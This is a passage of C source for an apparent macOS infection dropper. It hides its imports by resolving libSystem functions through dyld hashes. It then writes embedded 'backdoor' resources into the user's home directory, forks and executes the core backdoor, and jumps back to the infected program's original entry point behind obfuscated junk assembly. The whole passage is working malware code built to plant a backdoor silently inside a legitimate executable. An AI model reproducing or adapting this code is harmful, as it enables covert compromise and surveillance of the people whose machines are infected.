_idyld_get_image_name = (const char *(__cdecl *)(uint32_t)) (findSymbol_mavericks((byte *)imageBase, dyld_get_image_nameHash)); _idyld_get_image_header = (const mach_header *(__cdecl *)(uint32_t)) (findSymbol_mavericks((byte *)imageBase, dyld_get_image_headerHash)); } const struct mach_header *m_header = NULL; if ((int)_idyld_get_image_name != -1) { if (osx_version == 1) { // We are on Leopard / Snow Leopard for (z = 0; z < imageCount; z++) { imageName = _idyld_get_image_name (z); m_header = _idyld_get_image_header (z); #ifdef LOADER_DEBUG printf ("[ii] image: %s\n", imageName); #endif if (sdbm ((unsigned char *)imageName) == libSystemHash) { if ((int)_idyld_get_image_header != -1) { libSystemAddress = mapLibSystem(); if (libSystemAddress == NULL) doExit(); iopen = (int (__cdecl *)(const char *, int, ...))(findSymbolInFatBinary ((byte *)libSystemAddress, openHash) + (unsigned int)m_header); ilseek = (long (__cdecl *)(int, _mOff_t, int))(findSymbolInFatBinary ((byte *)libSystemAddress, lseekHash) + (unsigned int)m_header); iclose = (int (__cdecl *)(int))(findSymbolInFatBinary ((byte *)libSystemAddress, closeHash) + (unsigned int)m_header); ichdir = (int (__cdecl *)(const char *))(findSymbolInFatBinary ((byte *)libSystemAddress, chdirHash) + (unsigned int)m_header); iwrite = (int (__cdecl *)(int, const void *, int))(findSymbolInFatBinary ((byte *)libSystemAddress, writeHash) + (unsigned int)m_header); ipwrite = (int (__cdecl *)(int, const void *, int, _mOff_t))(findSymbolInFatBinary ((byte *)libSystemAddress, pwriteHash) + (unsigned int)m_header); istat = (int (__cdecl *)(const char *, struct stat *))(findSymbolInFatBinary ((byte *)libSystemAddress, statHash) + (unsigned int)m_header); immap = (void *(__cdecl *)(void *, _mSize_t, int, int, int, _mOff_t))(findSymbolInFatBinary ((byte *)libSystemAddress, mmapHash) + (unsigned int)m_header); imunmap = (int (__cdecl *)(void *, _mSize_t))(findSymbolInFatBinary ((byte *)libSystemAddress, munmapHash) + (unsigned int)m_header); imemcpy = (void *(__cdecl *)(void *, const void *, int))(findSymbolInFatBinary ((byte *)libSystemAddress, memcpyHash) + (unsigned int)m_header); isprintf = (int (__cdecl *)(char *, const char *, ...))(findSymbolInFatBinary ((byte *)libSystemAddress, sprintfHash) + (unsigned int)m_header); iprintf = (int (__cdecl *)(const char *,...))(findSymbolInFatBinary ((byte *)libSystemAddress, printfHash) + (unsigned int)m_header); igetenv = (char *(__cdecl *)(const char *))(findSymbolInFatBinary ((byte *)libSystemAddress, getenvHash) + (unsigned int)m_header); imkdir = (int (__cdecl *)(const char *, unsigned int))(findSymbolInFatBinary ((byte *)libSystemAddress, mkdirHash) + (unsigned int)m_header); iexecve = (int (__cdecl *)(const char *, char *, char *))(findSymbolInFatBinary ((byte *)libSystemAddress, execveHash) + (unsigned int)m_header); iexecl = (int (__cdecl *)(const char *, const char *,...))(findSymbolInFatBinary ((byte *)libSystemAddress, execlHash) + (unsigned int)m_header); ifork = (int (__cdecl *)(void))(findSymbolInFatBinary ((byte *)libSystemAddress, forkHash) + (unsigned int)m_header); istrncpy = (char *(__cdecl *)(char *, const char *, _mSize_t))(findSymbolInFatBinary ((byte *)libSystemAddress, strncpyHash) + (unsigned int)m_header); imalloc = (void *(__cdecl *)(int))(findSymbolInFatBinary ((byte *)libSystemAddress, mallocHash) + (unsigned int)m_header); ifree = (void (__cdecl *)(void *))(findSymbolInFatBinary ((byte *)libSystemAddress, freeHash) + (unsigned int)m_header); isleep = (unsigned int (__cdecl *)(unsigned int))(findSymbolInFatBinary ((byte *)libSystemAddress, sleepHash) + (unsigned int)m_header); isigaction = (int (__cdecl *)(int, sigaction *, sigaction *))(findSymbolInFatBinary ((byte *)libSystemAddress, sigactionHash) + (unsigned int)m_header); } break; } } } else if (osx_version == 2) { // We are on Lion for (z = 0; z < imageCount; z++) { imageName = _idyld_get_image_name(z); m_header = _idyld_get_image_header(z); #ifdef LOADER_DEBUG printf ("[ii] image: %s\n", imageName); #endif unsigned int hash = sdbm((unsigned char *)imageName); if (hash == libsystemkHash) { if (libsystemkAddress == NULL) doExit(); // FIXME: OEP_CALL ? iopen = (int (__cdecl *)(const char *, int, ...))(findSymbolInFatBinary ((byte *)libsystemkAddress, openHash) + (unsigned int)m_header); ilseek = (long (__cdecl *)(int, _mOff_t, int))(findSymbolInFatBinary ((byte *)libsystemkAddress, lseekHash) + (unsigned int)m_header); iclose = (int (__cdecl *)(int))(findSymbolInFatBinary ((byte *)libsystemkAddress, closeHash) + (unsigned int)m_header); ichdir = (int (__cdecl *)(const char *))(findSymbolInFatBinary ((byte *)libsystemkAddress, chdirHash) + (unsigned int)m_header); iwrite = (int (__cdecl *)(int, const void *, int))(findSymbolInFatBinary ((byte *)libsystemkAddress, writeHash) + (unsigned int)m_header); ipwrite = (int (__cdecl *)(int, const void *, int, _mOff_t))(findSymbolInFatBinary ((byte *)libsystemkAddress, pwriteHash) + (unsigned int)m_header); istat = (int (__cdecl *)(const char *, struct stat *))(findSymbolInFatBinary ((byte *)libsystemkAddress, statHash) + (unsigned int)m_header); immap = (void *(__cdecl *)(void *, _mSize_t, int, int, int, _mOff_t))(findSymbolInFatBinary ((byte *)libsystemkAddress, mmapHash) + (unsigned int)m_header); imunmap = (int (__cdecl *)(void *, _mSize_t))(findSymbolInFatBinary ((byte *)libsystemkAddress, munmapHash) + (unsigned int)m_header); imkdir = (int (__cdecl *)(const char *, unsigned int))(findSymbolInFatBinary ((byte *)libsystemkAddress, mkdirHash) + (unsigned int)m_header); iexecve = (int (__cdecl *)(const char *, char *, char *))(findSymbolInFatBinary ((byte *)libsystemkAddress, execveHash) + (unsigned int)m_header); } else if (hash == libsystemcHash) { if (libsystemcAddress == NULL) doExit(); // OEP_CALL?? FIXME imemcpy = (void *(__cdecl *)(void *, const void *, int))(findSymbolInFatBinary ((byte *)libsystemcAddress, memcpyHash) + (unsigned int)m_header); isprintf = (int (__cdecl *)(char *, const char *, ...))(findSymbolInFatBinary ((byte *)libsystemcAddress, sprintfHash) + (unsigned int)m_header); iprintf = (int (__cdecl *)(const char *,...))(findSymbolInFatBinary ((byte *)libsystemcAddress, printfHash) + (unsigned int)m_header); igetenv = (char *(__cdecl *)(const char *))(findSymbolInFatBinary ((byte *)libsystemcAddress, getenvHash) + (unsigned int)m_header); iexecl = (int (__cdecl *)(const char *, const char *,...))(findSymbolInFatBinary ((byte *)libsystemcAddress, execlHash) + (unsigned int)m_header); ifork = (int (__cdecl *)(void))(findSymbolInFatBinary ((byte *)libsystemcAddress, forkHash) + (unsigned int)m_header); istrncpy = (char *(__cdecl *)(char *, const char *, _mSize_t))(findSymbolInFatBinary ((byte *)libsystemcAddress, strncpyHash) + (unsigned int)m_header); imalloc = (void *(__cdecl *)(int))(findSymbolInFatBinary ((byte *)libsystemcAddress, mallocHash) + (unsigned int)m_header); ifree = (void (__cdecl *)(void *))(findSymbolInFatBinary ((byte *)libsystemcAddress, freeHash) + (unsigned int)m_header); isleep = (unsigned int (__cdecl *)(unsigned int))(findSymbolInFatBinary ((byte *)libsystemcAddress, sleepHash) + (unsigned int)m_header); isigaction = (int (__cdecl *)(int, sigaction *, sigaction *))(findSymbolInFatBinary ((byte *)libsystemcAddress, sigactionHash) + (unsigned int)m_header); } } } else { for (z = 0; z < imageCount; z++) { imageName = _idyld_get_image_name(z); m_header = _idyld_get_image_header(z); unsigned int hash = sdbm((unsigned char *)imageName); if (hash == libsystemkHash) { if (libsystemkAddress == NULL) doExit(); iopen = (int (__cdecl *)(const char *, int, ...))(findSymbolInFatBinary ((byte *)libsystemkAddress, openHash) + (unsigned int)m_header); ilseek = (long (__cdecl *)(int, _mOff_t, int))(findSymbolInFatBinary ((byte *)libsystemkAddress, lseekHash) + (unsigned int)m_header); iclose = (int (__cdecl *)(int))(findSymbolInFatBinary ((byte *)libsystemkAddress, closeHash) + (unsigned int)m_header); ichdir = (int (__cdecl *)(const char *))(findSymbolInFatBinary ((byte *)libsystemkAddress, chdirHash) + (unsigned int)m_header); iwrite = (int (__cdecl *)(int, const void *, int))(findSymbolInFatBinary ((byte *)libsystemkAddress, writeHash) + (unsigned int)m_header); ipwrite = (int (__cdecl *)(int, const void *, int, _mOff_t))(findSymbolInFatBinary ((byte *)libsystemkAddress, pwriteHash) + (unsigned int)m_header); istat = (int (__cdecl *)(const char *, struct stat *))(findSymbolInFatBinary ((byte *)libsystemkAddress, statHash) + (unsigned int)m_header); immap = (void *(__cdecl *)(void *, _mSize_t, int, int, int, _mOff_t))(findSymbolInFatBinary ((byte *)libsystemkAddress, mmapHash) + (unsigned int)m_header); imunmap = (int (__cdecl *)(void *, _mSize_t))(findSymbolInFatBinary ((byte *)libsystemkAddress, munmapHash) + (unsigned int)m_header); imkdir = (int (__cdecl *)(const char *, unsigned int))(findSymbolInFatBinary ((byte *)libsystemkAddress, mkdirHash) + (unsigned int)m_header); iexecve = (int (__cdecl *)(const char *, char *, char *))(findSymbolInFatBinary ((byte *)libsystemkAddress, execveHash) + (unsigned int)m_header); imemcpy = (void *(__cdecl *)(void *, const void *, int))(findSymbolInFatBinary ((byte *)libsystemkAddress, memcpyHash) + (unsigned int)m_header); imalloc = (void *(__cdecl *)(int))(findSymbolInFatBinary ((byte *)libsystemkAddress, mallocHash) + (unsigned int)m_header); ifree = (void (__cdecl *)(void *))(findSymbolInFatBinary ((byte *)libsystemkAddress, freeHash) + (unsigned int)m_header); } else if (hash == libsystemcHash) { if (libsystemcAddress == NULL) doExit(); isprintf = (int (__cdecl *)(char *, const char *, ...))(findSymbolInFatBinary ((byte *)libsystemcAddress, sprintfHash) + (unsigned int)m_header); iprintf = (int (__cdecl *)(const char *,...))(findSymbolInFatBinary ((byte *)libsystemcAddress, printfHash) + (unsigned int)m_header); igetenv = (char *(__cdecl *)(const char *))(findSymbolInFatBinary ((byte *)libsystemcAddress, getenvHash) + (unsigned int)m_header); iexecl = (int (__cdecl *)(const char *, const char *,...))(findSymbolInFatBinary ((byte *)libsystemcAddress, execlHash) + (unsigned int)m_header); ifork = (int (__cdecl *)(void))(findSymbolInFatBinary ((byte *)libsystemcAddress, forkHash) + (unsigned int)m_header); istrncpy = (char *(__cdecl *)(char *, const char *, _mSize_t))(findSymbolInFatBinary ((byte *)libsystemcAddress, strncpyHash) + (unsigned int)m_header); isleep = (unsigned int (__cdecl *)(unsigned int))(findSymbolInFatBinary ((byte *)libsystemcAddress, sleepHash) + (unsigned int)m_header); isigaction = (int (__cdecl *)(int, sigaction *, sigaction *))(findSymbolInFatBinary ((byte *)libsystemcAddress, sigactionHash) + (unsigned int)m_header); } } } // first restore signal handler new_act.sig_action = 0; // SIG_DFL isigaction(0xb, &new_act, &old_act); // 0xb == SIGSEGV #ifndef LOADER_DEBUG for (i = 0; i < infection->numberOfStrings; i++) { strings[i] = stringList->value; offset += sizeof (stringTable); stringList = (stringTable *)offset; } void *envVariableName = (char *)strings[0]; if (igetenv != 0) { userHome = (char *) igetenv ((const char *)envVariableName); } else errorOnInstall = 1; // FIXME: doExit() or goto EOPCALL char *backdoorDropPath = (char *)imalloc(128); char *cin = strings[5]; char *qua = strings[4]; char *un = strings[1]; if (osx_version == 3) { __asm { push 1 /* fuck SIMD :|, su mavericks la sprintf fa uso di istruzioni SSE che richiedono stack allineato a 16 byte*/ push 1 /* fuck SIMD :| quindi nel caso crashase sulla sprintf misteriosamente si puo' aggiungere o togliere uno o piu' push push */ push 1 /* fuck SIMD :| */ push cin push qua push userHome push un push backdoorDropPath call isprintf } } else isprintf(backdoorDropPath, strings[1], userHome, strings[4], strings[5]); backdoorPath = (char *)imalloc (256); char *backdoorDir = NULL; offset = (unsigned int)infectionBase + sizeof (infectionHeader) + sizeof (stringTable) * infection->numberOfStrings + infection->dropperSize + crtStartSize + 1; // // Cycle through and drop all the resources // for (i = 0; i < infection->numberOfResources; i++) { char *destinationPath = (char *) imalloc (256); destinationDir = (char *) imalloc (128); resource = (resourceHeader *)offset; isprintf (destinationDir, strings[2], backdoorDropPath, resource->path); if (backdoorDir == NULL) { backdoorDir = (char *)imalloc (256); isprintf (backdoorDir, strings[2], backdoorDropPath, resource->path); } imkdir (destinationDir, 0755); isprintf (destinationPath, strings[2], destinationDir, resource->name); if (resource->type == RESOURCE_CORE) { if (osx_version == 3) { __asm { push 1 // questa push e' per allineare lo stack a 16 byte come sopra (per mavericks) push 256 push destinationPath push backdoorPath call istrncpy } } else istrncpy (backdoorPath, destinationPath, 256); if ((fd = iopen (destinationPath, O_CREAT | O_EXCL, 0755)) == -1) backdoorIsAlreadyInstalled = 1; } int resSize = resource->size; offset += sizeof (resourceHeader); if ((fd = iopen (destinationPath, O_RDWR | O_CREAT | O_TRUNC, 0755)) >= 0) { if (iwrite (fd, (const void *)offset, resSize) == -1) errorOnInstall = 1; iclose (fd); } offset += resSize; ifree (destinationDir); ifree (destinationPath); } ifree (backdoorDropPath); // // Execute the core backdoor file // if (//backdoorIsAlreadyInstalled == 0 errorOnInstall == 0) { if ((pid = ifork()) == 0) { ichdir (backdoorDir); iexecl (backdoorPath, backdoorPath, NULL, NULL, NULL); } else if (pid > 0) { // jump to the original entry point //doExit (); } else if (pid < 0) { //doExit (); } } ifree (backdoorDir); ifree (backdoorPath); OEP_CALL: #ifdef WIN32 // Here we have to remove the fixed base (0x1000) and add // the randomized one uint32_t baseAddress = (uint32_t)_idyld_get_image_header(0); uint32_t originalEP = infection->originalEP - 0x1000 + (uint32_t)baseAddress; // // Restore register state and jump to the original entrypoint // ebp will be disarded by the crt initializer, so we can use it for the jump // __asm__ __volatile__ { mov eax, _eax push eax pop eax mov eax, eax add eax, 0 mov ebx, ebx push ecx mov ecx, ecx pop ecx mov ecx, _ecx mov edx, _edx push eax pop eax mov eax, eax add eax, 0 mov ebx, ebx push ecx mov ecx, ecx pop ecx mov ebx, _ebx mov esi, _esi mov edi, _edi mov esp, _esp push eax pop eax mov eax, eax add eax, 0 mov ebx, ebx push ecx mov ecx, ecx pop ecx mov ebp, originalEP; mov eax, eax add eax, 0 mov ebx, ebx add ebp, 0x30 // start right where we left, FIXME: what about EP different from crtStart?? jmp ebp } #else __asm__ __volatile__ ( "movl %0, %%eax\n" "movl $0x1000, %%ebx\n" "movl $0x5, %%ecx\n" : :"m"(infection->originalEP) ); __asm__ __volatile__ ( "movl %0, %%esp\n" "jmp *%%eax\n" : :"m"(esp) ); #endif #endif } } } void dropperEnd () { int b = 1; } .